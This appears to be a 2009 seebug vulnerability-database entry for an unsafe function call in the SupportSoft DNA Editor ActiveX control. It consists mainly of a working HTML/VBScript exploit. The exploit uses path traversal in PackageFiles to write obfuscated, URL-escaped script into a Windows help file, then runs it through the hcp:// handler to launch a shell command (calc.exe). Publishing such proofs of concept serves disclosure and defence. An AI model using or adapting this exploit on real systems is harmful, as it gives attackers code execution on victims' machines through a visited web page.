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SupportSoft DNA Editor Module ActiveX控件不安全函数调用漏洞

🗓️ 06 Mar 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

SupportSoft DNA Editor Module ActiveX控件不安全函数调用漏

Code

                                                <HTML>
<OBJECT classid='clsid:01110800-3E00-11D2-8470-0060089874ED' width=1 height=1 id='DNAEditorCtl' />
</OBJECT>
<SCRIPT language='VBScript'>
<!--
sh="<HTML><SCRIPT LANGUAGE=VBScript>" + unescape("Execute%28unescape%28%22Set%20s%3DCreateObject%28%22%22WScript.Shell%22%22%29%250D%250As.Run%20%22%22cmd%20%252fc%20start%20calc%22%22%22%29%29") + "<" + Chr(47) + "SCRIPT><" + Chr(47) + "HTML>"
'file path is injected in msinfo.htm, you can see the code by an hex editor, some limit with *number* of chars, some problem with newlines, resolved with vbscript code evaluation by Execute(), a popup says Unable to post... click Ok or close it and you are pwned
DNAEditorCtl.PackageFiles sh + "../../../../../../../../../WINDOWS/PCHEALTH/HELPCTR/System/sysinfo/msinfo.htm"
'launch the script and calc.exe trough the Help and Support Center Service
document.write("<iframe src=""hcp://system/sysinfo/msinfo.htm"">")
-->
</SCRIPT>

                              

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